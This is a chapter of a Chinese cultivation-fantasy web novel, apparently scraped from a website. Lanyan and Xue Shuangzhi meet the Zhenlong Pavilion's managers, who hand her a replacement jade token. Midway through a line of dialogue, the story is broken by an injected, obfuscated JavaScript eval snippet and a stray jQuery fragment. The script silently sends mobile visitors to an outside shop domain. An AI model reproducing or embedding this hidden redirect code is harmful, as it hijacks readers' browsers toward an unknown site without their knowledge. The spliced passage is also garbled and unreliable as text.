它身上出现字迹，岚烟没有太大的惊讶。
毕竟是师尊送她的东西。
纸人两只手向内指向自己身前的“买”字，岚烟不做犹豫，当下将那法衣与面纱一起包起来，掏出一万一千灵石，直接付款。
接引她来店里消费的白面具去而复返，他的身侧多了几名女修，不用他多说什么，女修们一脸惊喜地在店里看了起来，拿起了一件又一件的法衣。
他与岚烟的视线对上，看见那一大摞灵石，友善一笑。
岚烟面无表情地扭过头，心道这大概就是诱导女修们消费的源泉了，修真界的金牌销冠。
她克制住自己的目光，从各式法衣上挪开视线。
直到薛霜值传音道：“来了。”
另一面白面具从店门外走来，脸上挂着微笑：“我们主人有请。”
岚烟随他走到长廊尽头，白面具一个跨步，直从墙壁处消失不见，她紧随其后，一阵天旋地转后，眼前的布置全然变了样。
那熟悉的晕眩感岚烟只在传送阵法中感受到过。
她与薛霜值对视一眼，这才暗暗查探周身的情况。
他们现在处于一处庭院内，潺潺水声流淌在假山之上，抬眼是珍珑阁的琉璃墙瓦，从此处观望一眼便可探查珍珑阁的情况。
接引那位白面具示意右手旁的碧玉桌椅，微笑道：“请在此稍作等待，主人马上便来。”
说罢，恭恭敬敬地站在一旁，垂下头不再多发一言。
岚烟看了一眼碧玉桌椅，没贸然落座：“他口中的主人，是温峤吗？”
薛霜值说：“未必。今日珍珑阁开，温峤要处理太多事，你我没暴露目的只求一见，他未必会放在心上，多半是派人前来处理。”
他又问：“我倒是有个猜想……师妹以为，今日前来处理此事之人，应当是谁？”
岚烟脑海中过了一遍人选，落下个名字来：“燕斯然。”
此人是温峤的徒弟，八面玲珑，是接手珍珑阁的人选之一。温峤分身乏术，他是最好的人选。
薛霜值唇角似乎弯了一下：“且看吧。”
不多时，一道青衣身影携白面具一同跨入此方境内。
几乎在禁制波动的一瞬间，岚烟便抬起了头，与薛霜值一同望向来人。
青衣人剑眉星目，转眸朝岚烟两人一笑，带过碧玉长椅，示意道：“二位请坐。”
“在下燕斯然。温阁主要事在身，无法前来，唤燕某代为处理。”
另一位白面具，则是在店里推销的那人，亦是友善一笑，率先落了座。
岚烟没忍住侧头看了好一会，这才与薛霜值一同坐下。
她正要开口，只见燕斯然从袖中掏出一块方盒，推到岚烟身前：“这是阁主的一点小心意，请岚姑娘收下。”
岚姑娘？
岚烟赫然抬头，目光里尽是警惕。
她来到珍珑阁时只是穿着青崖的弟子服。短短片刻，他们竟然已经知晓了自己的名字，想来已经把她与薛霜值调查的差不多了。
见岚烟绷紧身子，燕斯然收回手，面露歉意。
“在下并非有意探知姑娘身份。珍珑阁消息灵通，先前偶然知晓剑尊收徒一事，在灵域开启这个节骨眼上看见名新面孔，燕某便擅自揣测姑娘是剑尊之徒，还请姑娘不要见怪。”
他右手张开，指尖下压，指向玉盒：“在下已带来姑娘所求之物。”
话音刚落，薛霜值骤然起身，伸手探向玉盒，只一瞬间，便朝着岚烟小幅度地点了点头。
这玉盒中所放的，竟是一枚玉令！
岚烟从他手中接过玉盒，当着几人的面果断打开。
玉盒之中安放的，正是那枚菱形的无字玉令，入手温润的触感与先前发给她的别无二致！
岚烟扣上盒子，搁在碧玉桌上，往中间推了回去，心弦绷紧：“入葳蕤山门时，接引弟子曾说，每个门派发下的玉令数量固定，若是丢失，不会补发。”
她丢失玉令，尚且未告知来意，燕斯然就将一枚新的玉令交予到她手中。
未免太过巧合。
最重要的是，他与那接引弟子言行不一，一面说着不会补发，一面又递来了玉令。
她对他抱有怀疑，放心不下。
岚烟抿唇，对上了燕斯然的目光：“我找温峤阁主，是来请求准许我在珍珑阁中使用术法。我的玉令被一名栖梧弟子拾走，现今躲在了珍珑阁中不知去处，今日前来，本是为了找人，并非向东海讨要玉令。”
燕斯然垂眸，慢悠悠地掏出了一方茶壶、四盏茶杯。
他用灵力将茶降至温热，推到几人身前，这才饮了一口，发出满足的喟叹声。
岚烟没接。
她没接，身侧的白面具倒是接了，慢悠悠提起茶盏来，眼神瞥着上头的浮沫。
岚烟又狐疑地看了眼白面具，按理来说，燕斯然属于白面具的上司，哪有下属喝上司沏的茶的道理？况且他要戴着面具喝茶不成？
白面具倒是没有戴面具喝茶的癖好，他一手晃出茶沫，一手咔哒一声摘下面具，这才仰头将盏中的茶汤一饮而尽。
“原来是你。”
薛霜值的注意力同样放在白面具身上，见他摘掉面具，露出真容，心中的奇怪陡然消失。
面具之下，是风流倜傥的一张脸。眉心一点小痣，眼尾上钩，露出三分轻佻之色。
“温瑜己。”
叫出这个名字，薛霜值心里的戒备松了三分。虽然阁主温峤没来，但这两人共同打理珍珑阁，权力并不比温峤少多少，燕斯然处事圆滑，擅长打理关系，温瑜己爱财如命，为珍珑阁招揽生意，两人互补之下，东海的财力如日中天。
温瑜己将茶盏重新放回碧玉桌上，却是摇了摇头：“我们为岚姑娘送来玉令，姑娘能够进入七荒灵域，这是两全其美之法。”
他眼角勾起一抹笑容：“规矩早已定下，十余年未曾变过，前往珍珑阁进行交易的修士众多，若是一朝规矩破坏，我们东海并不能镇住八方来路的修士们，请姑娘谅解。”
一声长叹后，温瑜己摇摇头，发丝划过侧脸，眼角笑意不减：“姑娘也看到了，我们珍珑阁日进斗金，如若有人在其中施展术法出了乱子，只怕暗中滋长了风险。”
他伸手，将那枚玉令推回岚烟身前：“更重要的是，有损珍珑阁的收入。”
岚烟顿时无言，她亲眼所见修士们的消费能力，而这小小的铺子只是珍珑阁中某一层的一处角落。真要是因为施展术法影响了珍珑阁的收益，不知道他们要损失多少灵石。
燕斯然声如冷泉：“玉令固然有数，五山共铸二十四枚，但因行走在外的天脉谶使只余下二人，便余出两枚玉令，由东海葳蕤保管。”
“此为其一。”
“栖梧掌门与弟子一同前来东海，燕某实在不敢擅作主张在栖梧掌门眼皮子底下捉人。若姑娘不介意，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13750328|140673||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可用这枚玉令进入浮灵洞天修整两日，灵域开启时，长老们会仔细核对人数，到时再将岚姑娘丢失的那枚玉令寻回，如此一来，事情便解决了。”
他将难处与解决方案大大方方地摆在明面上，十分诚恳。
这确实是一个完美的解决办法。
她打开玉盒，将玉令收入芥子囊中，茶水倒是没碰。
见她收下，燕斯然同温瑜己亦是起身，客套了几句。
离开之前，岚烟还是没忍住看向温瑜己，神色微妙。
后者摸摸鼻子，拿过桌上的白面具，扣在脸上，解释道：“十五之日临近七荒灵域开启，前来东海的修士相比往常翻了一倍，珍珑阁人手不够，就被抓来当侍者了……”
岚烟心中腹诽：温瑜己又是揽客又是推销，分明乐在其中，只恨赚太少。
薛霜值朝着燕斯然拱手道别。
他们两个并不熟知珍珑阁的路线，同“要事在身”的温瑜己一同离开，拐了几个弯后，重新回到了走廊尽头。
白面具之下，温瑜己一勾眼角，也没送两人出去：“二位常来。”
说完，径自转身离开，不知跑到哪个角落观察来往之人，抑或诱导修士消费去了。
*
岚烟随薛霜值回到山门，此刻已近亥时，珍珑阁的方向依然灯火通明，看得岚烟直摇头。
不知昼夜，这也是诱导修士们消费的原因之一，灯光明亮，不知时间流逝，在珍珑阁内耽误的时间自然就久了。
距离子时尚有一段时间。
薛霜值搭眼看向岚烟，忽地问道：“你觉得燕斯然此人如何？”
岚烟回想了下，他确实很符合八面玲珑的那个评价。“面面俱到，事无巨细，我甚至没有声明来意，他已经将事情解决了，想必亲自见我一面，只是为了让我收下玉令。”
有他在，也难怪珍珑阁内从未发生过事端。
“但我还是更喜欢温瑜己的性子。”岚烟道，“面面俱到也是一种恐怖，我们很难察觉出这种人的弱点，与他们为敌，只能从温瑜己身上找突破口。”
薛霜值无声笑了：“师妹怎得见一个人就要树一次敌。”
岚烟也没什么好隐瞒的：“修道一路，同行者皆为敌人，薛师兄也是。远了不说，近处的七荒灵域，葳蕤参与的修士应该就有他们二人。既然是敌人，当然要仔细分析了。”
薛霜值踏上最后一阶云梯，侧身问：“那师妹也分析过我么？”
这话倒是新奇，让他有些期待这个问题的答案了。
岚烟诚实答道：“分析过，但并不知晓师兄的弱点。不过我想，若要说师兄真有什么放不下的，大概是青崖。”
海风忽起，带来一阵清凉的气息。
薛霜值跟在岚烟身后，来到浮灵洞天门前。
玉令按在门上，白玉门沿两侧敞开，岚烟脚步轻快地钻了进去，她摆摆手：“今日多谢师兄陪我前往珍珑阁。”
岚烟的灵境显现的是长明殿的后山，她的洞府前开满了摇曳的花朵。
薛霜值垂下眼，这才摸出自己的玉令。他触着玉令的四方棱角，最终按在门上，听到了玉门敞开的声音。
草木衰败，满目荒芜，
他沿着台阶而上，任由细密的雨丝打湿身体，不肯发一句避水诀。
抬头便是长明古殿。
薛霜值迈步向下行去，又看了一眼昏暗的天。
玉门最终合上。